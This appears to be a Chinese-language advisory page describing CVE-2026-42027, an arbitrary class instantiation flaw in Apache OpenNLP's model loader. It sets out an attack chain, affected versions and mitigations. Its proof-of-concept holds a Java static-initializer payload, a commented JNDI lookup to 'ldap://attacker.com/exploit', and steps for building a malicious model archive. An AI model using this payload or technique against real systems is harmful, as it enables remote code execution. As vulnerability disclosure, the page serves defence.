IPBUF安全漏洞报告
English
CVE-2026-42027 CVSS 9.8 严重

CVE-2026-42027 Apache OpenNLP 任意类实例化漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42027
漏洞类型
任意类实例化
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache OpenNLP

相关标签

RCEApache OpenNLPArbitrary Class InstantiationInsecure DeserializationJNDI InjectionCritical

漏洞概述

Apache OpenNLP的ExtensionLoader组件存在严重的任意类实例化漏洞。攻击者可以通过构造恶意的模型存档文件,并在manifest.properties文件中指定任意类名。由于`Class.forName()`方法在类型兼容性检查执行之前就已经加载并初始化了指定的类,因此会触发该类的静态初始化代码。如果应用程序的类路径中存在包含危险静态初始化逻辑(如JNDI注入、网络请求或文件系统操作)的第三方库,攻击者即可利用此漏洞在模型加载阶段远程执行任意代码,从而完全控制受害系统。

技术细节

该漏洞的核心在于`ExtensionLoader.instantiateExtension`方法对类加载的处理逻辑不当。该方法从模型归档的`manifest.properties`中读取类名,并直接调用`Class.forName()`进行加载。虽然代码中包含`isAssignableFrom`检查以确保加载的类是预期的接口子类型(如BaseToolFactory),但这一安全校验步骤位于类加载和初始化之后。根据Java语言规范,`Class.forName()`在加载类时会默认执行其静态初始化块。因此,攻击者只需在manifest中指定classpath上存在的、具有恶意静态代码的类名(如包含JNDI Lookup的类),当OpenNLP加载该恶意模型时,静态代码即会在安全校验前执行。虽然这需要依赖classpath中存在特定的“Gadget”类,但在现代Java应用生态中极常见,极易导致远程代码执行。

攻击链分析

STEP 1
侦察
攻击者确认目标系统使用了受影响版本的Apache OpenNLP,并且类路径中存在可利用的Gadget类(如具有危险静态块的类)。
STEP 2
武器化
攻击者创建一个特制的模型归档文件,并在manifest.properties中配置条目,将类名指向那个可利用的Gadget类。
STEP 3
投递
攻击者通过社区模型仓库、钓鱼邮件或上传功能,将恶意的模型文件投递给目标用户或系统。
STEP 4
利用
当OpenNLP尝试加载该模型时,`ExtensionLoader`读取manifest并调用`Class.forName()`加载攻击者指定的类。
STEP 5
执行
由于类加载机制,目标类的静态初始化代码在类型检查之前执行,导致恶意代码(如JNDI注入或命令执行)在服务器上运行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Malicious.java - A class with a side-effect in static initializer public class Malicious { static { try { // Example: Execute a command or JNDI lookup java.lang.Runtime.getRuntime().exec("touch /tmp/pwned"); // Or: javax.naming.InitialContext().lookup("ldap://attacker.com/exploit"); } catch (Exception e) { e.printStackTrace(); } } } /* * Exploitation Steps: * 1. Compile the above class and ensure it is on the target's classpath. * 2. Create a malicious model archive (JAR/Zip). * 3. Inside the archive, create/modify META-INF/manifest.properties. * 4. Set a property (e.g., 'serializer-class' or 'factory') to point to 'Malicious'. * Example entry: serializer-class=com.example.Malicious * 5. Trigger the victim application to load this crafted model. */

影响范围

Apache OpenNLP < 2.5.9
Apache OpenNLP < 3.0.0-M3

防御指南

临时缓解措施
对于无法立即升级的用户,请务必确保所有模型文件来源可信,避免加载不可信的第三方模型。同时,应严格审计应用程序类路径,识别并移除那些包含危险静态初始化器或构造函数的类,特别是执行JNDI查找、网络请求或文件系统操作的类。建议通过设置环境变量将允许的包前缀限制为仅包含 'opennlp.' 以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表